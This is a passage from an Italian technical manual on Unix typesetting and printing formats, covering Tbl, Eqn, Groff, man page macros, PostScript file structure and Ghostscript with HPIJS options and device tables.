Nominativo	Telefono
Tizio Tizi	0987,654321
Caio Cai	0876,543210
Sempronio Semproni	0765,43210123
.TE
```

Lo stesso risultato avrebbe potuto essere ottenuto sostituendo la parola chiave '**`allbox`**', che serve a incasellare ogni cella, con '**`box`**' che crea solo una cornice esterna, richiedendo esplicitamente l'inserimento delle linee verticali e orizzontali.

```
.TS
box;
c s
c|c
l|l.
Intestazione
_
Nominativo	Telefono
_
Tizio Tizi	0987,654321
_
Caio Cai	0876,543210
_
Sempronio Semproni	0765,43210123
.TE
```

Così, si può decidere di modificare la tabella nello schema seguente che alterna l'uso delle separazioni orizzontali.

```
.-------------------------------------------------.
|                   Intestazione                  |
|=================================================|
|         Nominativo          |       Telefono    |
|-----------------------------|-------------------|
| Tizio Tizi                  | 0987,654321       |
| Caio Cai                    | 0876,543210       |
| Sempronio Sempronі          | 0765,43210123     |
'-------------------------------------------------'
```

Per ottenere questo risultato si possono utilizzare le istruzioni seguenti:

```
.TS
box;
c s
c|c
l|l.
Intestazione
=
Nominativo	Telefono
_
Tizio Tizi	0987,654321
Caio Cai	0876,543210
Sempronio Semproni	0765,43210123
.TE
```

28.3.2 Eqn

Eqn filtra un file Troff alla ricerca di equazioni delimitate dalle macro '**.EQ**' e '**.EN**'; se ne trova, trasforma la descrizione di queste in qualcosa di adatto a Troff. In modo semplificato, si può rappresentare la struttura di un'equazione nel modo seguente:

```
.EQ
equazione
.EN
```

Anche la sintassi particolare di Eqn viene omessa e si lascia eventualmente al lettore l'onere di procurarsi la documentazione relativa, indicata alla fine del capitolo.

Si suppone di voler realizzare l'equazione dell'interesse semplice:

$$I = Ct\frac{r}{100}$$

Si può ottenere nel modo seguente:

```
.EQ
I = C t r over 100
.EN
```

Un altro esempio con valori all'esponente:

$$f(x) = x^2$$

La trasformazione attraverso la sintassi di Eqn:

```
.EQ
f(x) = x sup 2
.EN
```

28.4 Groff

Groff è la realizzazione GNU dei programmi *roff. I nomi dei programmi tradizionali sono stati mantenuti, eventualmente attraverso dei collegamenti, quindi si trovano gli eseguibili '**troff**', '**tbl**', '**eqn**', '**pic**', oltre a uno script '**nroff**' che emula il comportamento di quel programma. A fianco di questo si aggiungono in particolare: '**groff**', un programma che facilita l'uso di '**troff**' e di ciò che serve a ottenere il formato finale prescelto; inoltre, '**gtbl**', '**geqn**' e '**gpic**' che rappresentano semplicemente dei nomi alternativi a quelli tradizionali usati per Tbl, Eqn e Pic.

Groff si compone di una serie di programmi in grado di trasformare quanto generato da Troff nel formato finale prescelto. Si tratta principalmente di '**grotty**', '**grodvi**' e '**grops**', necessari rispettivamente per ottenere un testo adatto allo schermo di un terminale, un file DVI e un file PostScript. Questi ricevono un file dallo standard input, oppure leggono quelli indicati negli argomenti e li trasformano conseguentemente. In pratica, vengono usati attraverso dei condotti come negli schemi seguenti:

```
troff -Tlatin1 [altre_opzioni] [file_troff...] | grotty > file_tty
```

```
troff -Tutf8 [altre_opzioni] [file_troff...] | grotty > file_tty
```

```
troff -Tdvi [altre_opzioni] [file_troff...] | grodvi > file_dvi
```

```
troff -Tps [altre_opzioni] [file_troff...] | grops > file_ps
```

Groff include il precompilatore omonimo, '**groff**', che permette di semplificare tutto questo nel modo seguente:

```
groff -Tlatin1 [altre_opzioni] [file_troff...] > file_tty
```

```
groff -Tutf8 [altre_opzioni] [file_troff...] > file_tty
```

```
groff -Tdvi [altre_opzioni] [file_troff...] > file_dvi
```

```
groff -Tps [altre_opzioni] [file_troff...] > file_ps
```

Per ottenere questo, '**groff**' accetta quasi tutte le opzioni di '**troff**', a cui poi provvede a passarle. '**groff**' si occupa anche di richiamare la pre-elaborazione da parte di programmi come '**tbl**', '**eqn**' e '**pic**', semplificando quindi la scrittura di condotti che eventualmente possono diventare molto complessi.

```
groff [opzioni] [file...]
```

'**groff**' è il programma frontale del pacchetto GNU omonimo. Attraverso questo è possibile comandare la definizione automatica dei condotti che tradizionalmente servivano per ottenere la composizione di un sorgente Troff/Nroff. A questo proposito, molte delle opzioni di '**groff**' sono le stesse che andrebbero fornite direttamente al programma '**troff**'. Segue la descrizione di alcune di queste opzioni.

Opzione	Descrizione

`-e`
`-t`
`-p`
`-s`
	Filtra i file utilizzando rispettivamente: '**eqn**', '**tbl**', '**pic**' o '**soelim**'.

`-T`*sigla_dispositivo*	Definisce il tipo di composizione che deve essere eseguito specificando una sigla adatta.
`-Tps`	Compone in formato PostScript.
`-Tdvi`	Compone in formato DVI.
`-Tascii`	Compone in formato testo senza lettere accentate.
`-Tlatin1`	Compone in formato testo utilizzando la codifica ISO 8859-1.
`-Tutf8`	Compone in formato testo utilizzando la codifica UTF-8.
`-Thtml`	Compone in HTML.

<table>
<tr><th>Opzione</th><th>Descrizione</th></tr>
<tr><td>-Tlj4</td><td>Compone secondo il linguaggio di stampa PCL5 (HP Laserjet e simili).</td></tr>
<tr><td>-a
-i
-nn_iniziale
-oelenco_pagine
-rregistro numero
-mnome
-Fpercorso</td><td>Queste e altre opzioni hanno lo stesso significato di quelle corrispondenti usate per Troff.</td></tr>
</table>

Segue la descrizione di alcuni esempi.

- `$` **`groff -Tps -ms mio.troff > mio.ps`** [*Invio*]

  Elabora il file '`mio.troff`' generando il file '`mio.ps`' in formato PostScript. In particolare, fa uso del pacchetto di macro '**`s`**'.

- `$` **`groff -t -Tps -ms mio.troff > mio.ps`** [*Invio*]

  Come nell'esempio precedente, utilizzando Tbl per la pre-elaborazione delle tabelle.

- `$` **`groff -Tlatin1 -ms -o4,6,8-10 mio.troff > mio.tty`** [*Invio*]

  Elabora il file '`mio.troff`' generando il file '`mio.tty`' in un formato adatto alla visualizzazione attraverso un terminale a caratteri, accettando la codifica ISO 8859-1, selezionando le pagine 4, 6, 8, 9 e 10.

- `$` **`groff -Tutf8 -ms -o4,6,8-10 mio.troff > mio.tty`** [*Invio*]

  Come nell'esempio precedente, generando un file in un formato adatto alla visualizzazione attraverso un terminale a caratteri che richiede la codifica UTF-8.

28.5 Documentazione Man

La documentazione interna tradizionale di Unix è scritta utilizzando comandi di composizione di Troff, facendo uso, in particolare, di un pacchetto di macro specifico, più o meno standardizzato tra i vari sistemi: '**`an`**'. In pratica, per comporre un file delle pagine di manuale di GNU/Linux o di un altro sistema Unix, occorre usare Troff con l'opzione '**`-man`**'.

Groff, in particolare, fornisce anche un altro pacchetto di macro che dovrebbe essere compatibile con il formato utilizzato da una vecchia versione di BSD: '**`doc`**'. Inoltre, è possibile risolvere questi problemi di compatibilità in modo automatico attraverso il pacchetto di macro '**`andoc`**', che in pratica è richiamato con l'opzione '**`-mandoc`**'.

Ogni sistema Unix ha probabilmente il suo stile tipografico particolare per la redazione delle pagine di manuale e questa informazione dovrebbe essere contenuta all'interno di *man(7)* oppure *man(5)*. Le macro del pacchetto '**`an`**' secondo Groff sono descritte nel seguito.

Opzione	Descrizione
`.TH` ***nome n_sezione*** ⮐ ↪ [***data origine titolo_documento***]	Il file sorgente di una pagina di manuale deve iniziare con la macro '**`.TH`**' (*Title header*), che serve a definire il titolo, l'intestazione e il piè pagina del documento. In particolare, è il caso di sottolineare il fatto che in generale, in sistemi Unix diversi da GNU/Linux, potrebbero essere previsti solo i primi due argomenti, cioè il nome della pagina di manuale e il numero di sezione.
`.SH` ***titolo_sezione***	Dopo il preambolo costituito dalla macro '**`.TH`**', il testo del documento è suddiviso in sezioni, introdotte dalla macro '**`.SH`**' (*Section header*). La prima di queste è denominata convenzionalmente '**`NAME`**', o '**`NOME`**' nelle edizioni italiane.
`.SS` ***titolo_sottosezione***	Le sezioni possono articolarsi in sottosezioni, attraverso questa macro che permette di indicarne il titolo.
`.LP` `.PP`	Queste due macro sono equivalenti e servono a introdurre un paragrafo. Data la loro natura, introducono automaticamente un'interruzione di riga (*break*).
`.B` ***testo_in_neretto*** `.I` ***testo_in_corsivo*** `.SM` ***testo_in_piccolo***	Rende il testo posto come argomento della macro in neretto ('**`.B`**'), in corsivo ('**`.I`**'), o in piccolo ('**`.SM`**'). Il testo che appare nelle righe successive non è coinvolto da queste macro.
`.BI` ***testo_in_neretto testo_in_corsivo*** ... `.BR` ***testo_in_neretto testo_in_tondo*** ... `.IB` ***testo_in_corsivo testo_in_neretto*** ... `.IR` ***testo_in_corsivo testo_in_tondo*** ... `.RB` ***testo_in_tondo testo_in_neretto*** ... `.RI` ***testo_in_tondo testo_in_corsivo*** ... `.SB` ***testo_in_piccolo testo_in_neretto*** ...	Si tratta di macro particolari che rendono il testo fornito come argomento in modo alternato. Gli argomenti vengono uniti assieme. '**`.BI`**' alterna il neretto e il corsivo; '**`.BR`**' alterna il neretto e il tondo; '**`.IB`**' alterna il corsivo e il neretto; '**`.IR`**' alterna il corsivo e il tondo; '**`.RB`**' alterna il tondo e il neretto; '**`.RI`**' alterna il tondo e il corsivo; '**`.SB`**' alterna il piccolo al neretto.
`.DT`	Ripristina le tabulazioni normali.
`.HP`	Inizia un paragrafo in cui le righe successive alla prima sono rientrate.
`.IP` ***etichetta***	Inizia un paragrafo di un elenco descrittivo, in cui l'etichetta è l'argomento della macro.
`.TP`	Inizia un paragrafo di un elenco descrittivo, in cui l'etichetta è la prima riga di testo che segue la macro nel sorgente.
`.RS` `.RE`	Queste due macro servono a circoscrivere un paragrafo rientrato: '**`.RS`**' inizia il testo rientrato, '**`.RE`**' termina il blocco.

Quello che segue è l'esempio di un sorgente di una pagina di manuale scritta secondo le modalità previste per la documentazione di GNU/Linux.

```
.TH ARCH 1 "20 Dicembre 1993" "Linux 0.99" "Linux Programmer's Manual"
.SH NOME
arch \- stampa l'architettura della macchina
.SH SINTASSI
.B arch
.SH DESCRIZIONE
.B arch
è equivalente a
.B uname -m

Sugli attuali sistemi Linux,
.B arch
stampa "i386" o "i486".
.SH VEDERE ANCHE
.BR uname (1), " uname" (2)
```

Dall'esempio mostrato, si possono osservare alcune parti. All'inizio, il titolo e l'intestazione del documento contiene alcuni argomenti delimitati tra virgolette doppie, per poter includere gli spazi.

```
.TH ARCH 1 "20 Dicembre 1993" "Linux 0.99" "Linux Programmer's Manual"
```

In pratica, si tratta del documento *arch(1)*. Alla fine del sorgente mostrato, si vede l'uso della macro '**.BR**', che è una di quelle che uniscono gli argomenti alternandone il tipo di enfatizzazione. In questo caso, il neretto si alterna al carattere tondo normale, in modo da evidenziare le parole '**uname**' lasciando che le sezioni vengano rese attraverso il tondo normale. È importante osservare anche l'uso delle virgolette che permette di inserire uno spazio prima del secondo '**uname**'. Volendo, quella riga avrebbe potuto essere scritta nel modo seguente:

```
.BR uname (1), "" " " uname (2)
```

In questo modo, la stringa nulla verrebbe resa in neretto e la stringa contenente uno spazio verrebbe resa con un carattere tondo normale.

28.6 Riferimenti

- Brian W. Kernighan, *A TROFF Tutorial*, 1987

  ⟨*http://www.kohala.com/start/troff/v7man/trofftut/trofftut.ps* ⟩

- Joseph F. Ossanna, Brian W. Kernighan, *Troff User's Manual*, AT&T Bell Laboratories, 1992

  ⟨*http://www.google.com/search?q=Nroff%2FTroff+User%27s+Manual+Joseph+F.+Ossanna+Brian+W.+Kernighan+Gunnar+Ritter* ⟩

- L. L. Cherry, M. E. Lesk, *Tbl --- A Program to Format Tables*, Bell Laboratories, 1976

  ⟨*http://www.cs.bell-labs.com/10thEdMan/tbl.pdf* ⟩

- Brian W. Kernighan, Lorinda L. Cherry, *Typesetting Mathematics --- User's Guide*, 1978

  ⟨*http://www.cs.bell-labs.com/cm/cs/doc/74/eqn.ps.gz* ⟩

[1] Nel caso di Troff GNU, installato su GNU/Linux, il file si potrebbe trovare nella directory '`/usr/lib/groff/tmac/`'.

[2] Qui non vengono mostrati esempi per la definizione del piè di pagina, dal momento che il problema richiede uno sforzo aggiuntivo non giustificabile in questo contesto introduttivo di Troff.

Formati per la stampa

29.1 PostScript ... 1567

29.1.1 File PostScript ... 1568
29.1.2 Ghostscript ... 1569
29.1.3 Ghostscript e HPIJS ... 1576
29.1.4 Ghostscript per ingrandire le immagini EPS ... 1577
29.1.5 Anteprima di stampa ... 1579
29.1.6 Distillazione ... 1581
29.1.7 Estrazione di disegni ... 1582

29.2 Rielaborazione PostScript ... 1584

29.2.1 Sequenza di stampa ... 1584
29.2.2 PSUtils ... 1588
29.2.3 Problemi di allineamento della stampa ... 1596

29.3 DVI ... 1605

29.3.1 Dvips ... 1605
29.3.2 Dvipdfm ... 1609
29.3.3 Anteprima di stampa ... 1610
29.3.4 Dvilj ... 1612
29.3.5 Programmi di servizio vari sul formato DVI ... 1615

29.4 PDF ... 1619

29.4.1 Strumenti ... 1619
29.4.2 Filtro di stampa ... 1626

29.5 Riferimenti ... 1627

`dvi2fax` 1617 `dviconcat` 1617 `dvicopy` 1615 `dvidvi` 1616 `dvipng` 1618 `dvired` 1619 `dviselect` 1615 `eps2eps` 1581 `gs` 1569 `pdffonts` 1624 `pdfimages` 1624 `pdfinfo` 1625 `pdftops` 1623 1623 `ps2ps` 1581 `psbook` 1591 `psnup` 1591 `psresize` 1589 `psselect` 1589 `pstops` 1592 `xpdf` 1620

Prima di poter affrontare le problematiche relative alla gestione della stampa in un sistema Unix, è necessario conoscere i formati più comuni, usati per rappresentare le stampe. Nei sistemi Unix il formato di riferimento è PostScript, rappresentato da un file di testo contenente uno script, con cui si descrive il contenuto esatto di una pagina. Pertanto, la stampante PostScript è quella che è in grado di ricevere un file di tale formato e di renderlo correttamente su carta.

Con il tempo si sono resi disponibili degli strumenti software, attraverso i quali è possibile convertire un file da un formato PostScript ad altri formati, compatibili con stampanti che non sono in grado di interpretare quel linguaggio, ma prima di quel momento si è affermato anche il formato DVI. Inoltre, il linguaggio PostScript si è evoluto nel PDF (*Portable document format*), acquisendo funzionalità che ne favoriscono la consultazione elettronica.

29.1 PostScript

Il sistema PostScript ha segnato una rivoluzione nel modo di stampare definendo uno standard generale di rappresentazione della pagina. Tuttavia, a causa del prezzo, le stampanti PostScript si sono introdotte particolarmente nel settore tipografico e raramente nei piccoli uffici o in casa.

PostScript è una sorta di linguaggio di programmazione per la stampa, o in altri termini, si può definire anche come ***linguaggio di stampa***. I dati inviati a una stampante PostScript sono in forma di file di testo contenente un programma di stampa.

Il formato PostScript è proprietario. Nonostante questo fatto, sulla base di tale formato sono stati sviluppati diversi applicativi nell'ambito del software libero.

29.1.1 File PostScript

Un file PostScript è ciò che viene inviato a una stampante PostScript per ottenere un documento finale. Questo file contiene tutte le informazioni per definire l'aspetto finale del documento, senza conoscere le caratteristiche particolari della stampante, la quale da sola deve arrangiarsi a interpretarlo. Il file PostScript è un file di testo normale, come se fosse un sorgente di un linguaggio di programmazione, con la differenza che le istruzioni non sono così intelligibili.

```
%!PS-Adobe-3.0
...
```

La prima parte di questo file inizia generalmente con la dichiarazione del tipo di file ('**%!PS-Adobe-*versione***'), quindi il testo prosegue con la definizione di una serie di caratteristiche che riguardano l'intero documento.

Successivamente inizia la definizione dettagliata di altre caratteristiche, principalmente i tipi di carattere tipografico. La descrizione di questi si rende necessaria quando il documento utilizza dei tipi che non appartengono allo standard minimo di PostScript. In pratica, il linguaggio PostScript prevede che alcuni tipi di carattere siano predefiniti all'interno della stampante, per cui, quando vengono utilizzati questi tipi, non occorre specificarne le caratteristiche; in tutti gli altri casi, occorre fornire alla stampante tutte le informazioni necessarie a disegnarli nel modo corretto.

Questo particolare deve essere tenuto da conto quando si vogliono ottenere file PostScript di dimensioni ridotte, per esempio quando si tratta di documenti brevi.

```
…
%%Page: 1 1
1 0 bop 300 1350 3600 42 v 300 1984 a FP(Appunti)138
b(Linux)p 300 2184 V 2142 2403 a FO(Daniele)21 b(Giacomini)114
b(daniele)21 b(@)i(pluto.linux.it)2865 2973 y FN(1999.09.21)p
eop
%%Page: 2 2
2 1 bop -72 -90 a FM(D)o(aniele)17 b(G)o(iacomini)h FL(\350)i(un)g
(autodidatta)e(che)j(ha)f(tro)n(vato)e(in)i(GNU/Linux)h(la)f
(possibilit\340)e(di)h(studiar)o(e)g(e)h(approfondir)o(e)-72
2 y(un)c(sistema)f(oper)o(ativo)h(completo)m(.)h(P)o(r)q(ima)e(di)g
…
```

A un certo punto, finalmente, inizia il contenuto delle varie pagine. L'estratto di esempio si riferisce alla prima e all'inizio della seconda pagina di questo documento (in una sua edizione molto vecchia). Con qualche difficoltà si riesce anche a intravedere il testo che si ottiene con la stampa. Al termine dell'ultima pagina c'è una conclusione, come nell'estratto seguente:

```
…
%%Trailer
end
userdict /end-hook known{end-hook}if
%%EOF
```

Questa struttura ordinata di un file PostScript, lascia intuire la possibilità di scomporre un file di questo tipo e di ricomporlo come si desidera. Quello che conta è che ciò che si ottiene contenga il preambolo iniziale, quanto precede le descrizioni delle pagine e la conclusione finale. Per esempio, potrebbe essere conveniente estrarre da un file PostScript alcune pagine e ricomporle in un file indipendente.

Se la struttura è relativamente semplice, questo tipo di scomposizione può essere fatta manualmente, con l'aiuto di un programma per la modifica di file di testo, oppure per mezzo di strumenti appositi.

29.1.2 Ghostscript

In mancanza di una stampante PostScript si può utilizzare un programma in grado di trasformare un file PostScript in uno adatto alla stampante che si possiede. In passato sono apparsi diversi programmi proprietari di emulazione, ma attualmente si è imposto Ghostscript del quale esistono versioni sia per i sistemi Unix, sia per altri sistemi operativi.[1]

Ghostscript[2] è un programma che si occupa di trasformare un file PostScript, EPS o PDF, in un altro adatto alla stampante che si utilizza. Permette di utilizzare una serie di opzioni fornite come argomenti della riga di comando, ma al termine costringe a uscire dal programma inserendo la parola '**`quit`**', oppure il codice di EOF (che di solito si ottiene con la combinazione di tasti [*Ctrl d*]), attraverso lo standard input (attraverso la tastiera o una ridirezione dell'input). Anche con la combinazione di tasti [*Ctrl c*] si ottiene la conclusione del funzionamento del programma.

```
gs [opzioni] [file...]
```

Ghostscript utilizza un elenco molto lungo di argomenti nella riga di comando. Questi sono importanti per automatizzare l'utilizzo del programma attraverso degli script.

Tabella 29.4. Alcune opzioni.

Opzione	Descrizione
`-sDEVICE=`***stampante***	Permette di definire per quale tipo si stampante o altra unità deve essere generato il risultato della trasformazione del file PostScript. Possono essere utilizzati i nomi indicati nelle tabelle 29.5, 29.6 e 29.7.
`-q` `-dQUIET`	Permette di sopprimere il messaggio di avvio del programma. È utile quando si ridirige l'output e di conseguenza non si vogliono avere dati estranei nel file che si ottiene.
`-dNOPAUSE`	Disabilita l'invito e la pausa alla fine di ogni pagina.
`-dSAFER` `-dPARANOIDSAFER`	Esclude la possibilità di usare comandi distruttivi del linguaggio PostScript. Ciò consente di evitare che possa essere eseguito del codice distruttivo, inserito dolosamente in un documento, durante la conversione (per la stampa o la visualizzazione). Intuitivamente si può intendere che la seconda versione di questa opzione sia più sicura.
`-dWRITESYSTEMDICT`	Consente la modifica dei file che compongono la gestione del cosiddetto *systemdict*. In alcune circostanze, l'uso di questa opzione è necessaria per consentire l'elaborazione dei file.
`-sPAPERSIZE=`***formato***	Permette di definire il formato della pagina. Possono essere utilizzati i formati elencati nella tabella 29.8.
`-sOutputFile=`***file***	Permette di definire il nome del file che si vuole generare con questa trasformazione. Se al posto del nome si mette un trattino ('`-`'), questo file viene emesso attraverso lo standard output.
`-`	Se al posto del nome del file PostScript da convertire si indica un trattino ('`-`') isolato, viene utilizzato quanto proveniente dallo standard input.

Tabella 29.5. Alcuni dei formati per stampanti utilizzabili con Ghostscript.

Nome	Descrizione
`appledmp`	Apple Dot Matrix Printer
`iwhi`	Apple Imagewriter, alta risoluzione
`iwlo`	Apple Imagewriter, bassa risoluzione
`iwlq`	Apple Imagewriter LQ, 320×216 dpi
`hl7x0`	Brother HL 720 e HL 730
`bj10e`	Canon BubbleJet BJ10e

Nome	Descrizione
bj200	Canon BubbleJet BJ200
bjc600	Canon BubbleJet BJC-600 e BJC-400 colore
bjc800	Canon BubbleJet BJC-800 colore
lbp8	Canon LBP-8II (laser)
lips3	Canon LIPS III (laser)
coslw2p	CoStar LabelWriter II e II/Plus
coslwxl	CoStar LabelWriter XL
declj250	DEC LJ250
la50	DEC LA50
la70	DEC LA70
la75	DEC LA75
la75plus	DEC LA75plus
lj250	DEC LJ250 (colore)
ap3250	Epson AP3250
epson	Epson-compatibile (9 o 24 aghi)
eps9mid	Epson-compatibile (9 aghi a media risoluzione)
eps9high	Epson-compatibile (9 aghi ad alta risoluzione)
epsonc	Epson LQ-2550 e Fujitsu 3400/2400/1200 a colori
lq850	Epson LQ-850
lp8000	Epson LP-8000 (laser)
stcolor	Epson Stylus colore
photex	Epson Stylus Color Photo, Photo EX, Photo 700
st800	Epson Stylus 800
uniprint	Epson ESC/P-, ESC/P2-, HP-RTL/PCL
dnj650c	HP Designjet 650C
deskjet	HP Deskjet e HP Deskjet Plus

Nome	Descrizione
`djet500`	HP Deskjet 500
`djet500c`	HP Deskjet 500C
`cdeskjet`	HP Deskjet 500C (1 bit/pixel colore)
`cdjcolor`	HP Deskjet 500C (24 bit/pixel colore)
`cdjmono`	HP Deskjet 500C (solo nero)
`cdjcolor`	HP Deskjet 500C
`cdj500`	HP Deskjet 500C
`djet500c`	HP Deskjet 500C
`cdj550`	HP Deskjet 550C/560C
`cljet5`	HP Laserjet 5/5M a colori
`cljet5c`	HP Laserjet 5/5M a colori
`laserjet`	HP Laserjet
`ljetplus`	HP Laserjet Plus
`ljet2p`	HP Laserjet IId/IIp/III* (con compressione TIFF)
`ljet3`	HP Laserjet III* (con compressione Delta Row)
`ljet3d`	HP Laserjet IIID (duplex)
`ljet4`	HP Laserjet 4 (600 dpi)
`lj4dith`	HP Laserjet 4 (Floyd-Steinberg dithering)
`pj`	HP Paintjet XL
`pjetxl`	HP Paintjet XL
`pjxl`	HP Paintjet XL (colore)
`paintjet`	HP Paintjet XL (colore)
`pjxl300`	HP Paintjet XL300 (colore) e HP Deskjet 1200C
`lp2563`	HP 2563B
`ibmpro`	IBM Proprinter (9 aghi)
`jetp3852`	IBM Jetprinter (a getto, colore, modello #3852)

Nome	Descrizione
imagen	Imagen ImPress
lxm5700m	Lexmark 5700
m8510	C.Itoh M8510
cp50	Mitsubishi CP50 (colori)
necp6	NEC P6/P6+/P60 (360×360 dpi)
oki182	Okidata Microline 182
okiibm	Okidata Microline stampanti compatibili IBM
r4081	Ricoh 4081 (laser)
nwp533	Sony NWP533 (laser)
spark	Spark SPARKprinter
sj48	StarJet 48 inkjet
t4693d2	Tektronix 4693d (colore, 2 bit)
t4693d4	Tektronix 4693d (colore, 4 bit)
t4693d8	Tektronix 4693d (colore, 8 bit)
tek4696	Tektronix 4695/4696 (plotter a getto d'inchiostro)
xes	Xerox XES 2700, 3700, 4045 e altri modelli

Tabella 29.6. Alcuni dei formati grafici utilizzabili con Ghostscript.

Nome	Descrizione
dfaxhigh	DigiBoard DigiFAX (alta risoluzione)
dfaxlow	DigiBoard DigiFAX (bassa risoluzione)
faxg3	Fax gruppo 3, con EOL, senza intestazione e EOD
faxg32d	Fax gruppo 3 2-D, con EOL, senza intestazione e EOD
faxg4	Fax gruppo 4, con EOL, senza intestazione e EOD
pcxmono	PCX monocromatico
pcxgray	PCX 8 bit in scala di grigi
pcx16	PCX 4 bit a colori

Nome	Descrizione
`pcx256`	PCX 8 bit a colori
`pcx24b`	PCX 24 bit a colori
`bit`	Binario semplice (raw), monocromatico
`bitrgb`	Binario semplice (raw), RGB
`bitcmyk`	Binario semplice (raw), CMYK
`pbm`	PBM (*Portable bitmap*), formato ASCII
`pbmraw`	PBM (*Portable bitmap*), formato raw
`pgm`	PGM (*Portable graymap*), formato ASCII
`pgmraw`	PGM (*Portable graymap*), formato raw
`pngmono`	PNG (*Portable network graphics*), monocromatico
`pnggray`	PNG (*Portable network graphics*), 8 bit grigi
`png16`	PNG (*Portable network graphics*), 4 bit colori
`png256`	PNG (*Portable network graphics*), 8 bit colori
`png16m`	PNG (*Portable network graphics*), 24 bit colori
`ppm`	PBM (*Portable pixmap*), formato ASCII
`ppmraw`	PBM (*Portable pixmap*), formato raw
`tiffcrle`	TIFF b/n, CCITT RLE 1-dim (fax gruppo 3 senza EOL)
`tiffg3`	TIFF b/n, fax gruppo 3 (con EOL)
`tiffg32d`	TIFF b/n, fax gruppo 3 2-D
`tiffg4`	TIFF b/n, fax gruppo 4
`tifflzw`	TIFF b/n, LZW
`tiffpack`	TIFF b/n, PackBits
`tiff12nc`	TIFF 12 bit RGB colori (senza compressione)
`tiff24nc`	TIFF 24 bit RGB colori (senza compressione)

Tabella 29.7. Alcuni dei formati alternativi di conversione utilizzabili con Ghostscript.

Nome	Descrizione
`psmono`	PostScript 1, monocromatico, *bitmap*
`pswrite`	PostScript
`epswrite`	EPS (PostScript incapsulato)
`pdfwrite`	PDF (*Portable document format*)

Tabella 29.8. Formati di stampa di Ghostscript. I dati di questa tabella sono tratti dalla pagina di manuale *gs(1)*.

formato	larghezza 1/72 pollici	altezza 1/72 pollici	larghezza pollici	altezza pollici	larghezza cm	altezza cm
note	540	720	7,50	10,00	19,05	25,4
letter	612	792	8,50	11,00	21,59	27,94
legal	612	1008	8,50	14,00	21,59	35,56
a0	2380	3368	33,0556	46,7778	83,9611	118,816
a1	1684	2380	23,3889	33,0556	59,4078	83,9611
a2	1190	1684	16,5278	23,3889	41,9806	59,4078
a3	842	1190	11,6944	16,5278	29,7039	41,9806
a4	595	842	8,26389	11,6944	20,9903	29,7039
a5	421	595	5,84722	8,26389	14,8519	20,9903
a6	297	421	4,125	5,84722	10,4775	14,8519
a7	210	297	2,91667	4,125	7,40833	10,4775
a8	148	210	2,05556	2,91667	5,22111	7,40833
a9	105	148	1,45833	2,05556	3,70417	5,22111
a10	74	105	1,02778	1,45833	2,61056	3,70417
b0	2836	4008	39,3889	55,6667	100,048	141,393
b1	2004	2836	27,8333	39,3889	70,6967	100,048
b2	1418	2004	19,6944	27,8333	50,0239	70,6967
b3	1002	1418	13,9167	19,6944	35,3483	50,0239
b4	709	1002	9,84722	13,9167	25,0119	35,3483
b5	501	709	6,95833	9,84722	17,6742	25,0119
archE	2592	3456	36,00	48,00	91,44	121,92
archD	1728	2592	24,00	36,00	60,96	91,44
archC	1296	1728	18,00	24,00	45,72	60,96
archB	864	1296	12,00	18,00	30,48	45,72
archA	648	864	9,00	12,00	22,86	30,48
flsa	612	936	8,50	13,00	21,59	33,02
flse	612	936	8,50	13,00	21,59	33,02
halfletter	396	612	5,50	8,50	13,97	21,59
11x17	792	1224	11,00	17,00	27,94	43,18
ledger	1224	792	17,00	11,00	43,18	27,94

Segue la descrizione di alcuni esempi.

- `$ gs -dNOPAUSE -q -sDEVICE=cdjmono -sOutputFile=- esempio.ps < /dev/null | lpr` [*Invio*]

  Invia al sistema di stampa (tramite '**`lpr`**') il documento '`esempio.ps`' dopo la trasformazione nel formato compatibile con le stampanti HP Deskjet.

- `$ gs -dNOPAUSE -q -sDEVICE=cdjmono -sOutputFile=pagina%0004d ↩`
  `↪ esempio.ps < /dev/null` [*Invio*]

  Genera una serie di file, a partire dal documento '`esempio.ps`', uno per ogni pagina, con un nome che inizia per '`pagina`' seguito da quattro cifre numeriche.

- `$ gs -dNOPAUSE -q -sDEVICE=cdjmono -sOutputFile=esempio.prn ↩`
  `↪ esempio.ps < /dev/null` [*Invio*]

  Genera, a partire dal documento '`esempio.ps`', il file '`esempio.prn`' pronto per essere inviato a una stampante HP Deskjet.

- `$ gs -dSAFER -dNOPAUSE -q -sDEVICE=cdjmono ↩`
  `↪ -sOutputFile=esempio.prn esempio.ps < /dev/null` [*Invio*]

  Come nell'esempio precedente, ma impedendo che il codice contenuto nel file '`esempio.ps`' possa compiere azioni dannose.

29.1.3 Ghostscript e HPIJS

Ghostscript da solo non è in grado di gestire tutte le stampanti esistenti, pertanto a questo si può affiancare un altro programma specifico per un certo gruppo di stampanti, con il quale comunica utilizzando il protocollo IJS. Il programma più importante che si può affiancare a Ghostscript è HPIJS,[3] sviluppato originariamente da Hewlett-Packard per le proprie stampanti, ma rilasciato poi con una licenza libera e sviluppato attualmente anche per altre stampanti.

HPIJS è costituito sostanzialmente dal file eseguibile '**`hpijs`**', avviato e controllato da Ghostscript. Per esempio, per produrre un file adatto a una stampante HP Laserjet (per la precisione si produce il file '`test.laserjet`'), si potrebbe usare Ghostscript nel modo seguente:

```
$ gs -q -dNOPAUSE -sDEVICE=ijs -sIjsServer=hpijs ↩
↪   -dIjsUseOutputFD -sDeviceManufacturer="HEWLETT-PACKARD" ↩
↪   -sDeviceModel="HP LaserJet" -sOutputFile=test.laserjet ↩
↪   esempio.ps < /dev/null [Invio]
```

Come si può osservare, servono delle opzioni speciali, che vengono descritte nelle tabelle successive; a ogni modo, l'esempio è realizzato con le opzioni indispensabili, mentre ne possono essere usate altre per specificare meglio le caratteristiche della stampa che si vuole produrre.

Tabella 29.9. Opzioni indispensabili per l'uso di Ghostscript con HPIJS.

Opzione	Descrizione
`-sDEVICE=ijs`	Stabilisce l'uso del protocollo IJS per comunicare con un programma parallelo, il quale si prende poi la responsabilità di produrre effettivamente il formato per la stampante o di comunicare direttamente con la stampante stessa.
`-sIjsServer=hpijs`	Indica il programma da avviare, con il quale Ghostscript deve poi interagire con il protocollo IJS. In tal caso il programma è '**`hpijs`**'.
`-dIjsUseOutputFD`	Letteralmente significa *use output file descriptor* ed è un'opzione praticamente necessaria.
`-sDeviceManufacturer="`***nome***`"`	Indica nome della casa produttrice del modello di stampante che si va a indicare.
`-sDeviceModel="`***nome***`"`	Indica il nome della stampante, riferita alla casa produttrice specificata con l'opzione '**`-sDeviceManufacturer`**'.

Tabella 29.10. Alcuni tipi di stampanti, da specificare con l'opzione '**-sDeviceModel**', quando la casa produttrice è definita con l'opzione '**-sDeviceManufacturer="HEWLETT-PACKARD"**'. I nomi sono tratti dai file del sorgente di HPIJS, e l'incoerenza nell'uso di lettere maiuscole e minuscole viene rispettata. L'elenco è in ordine alfabetico.

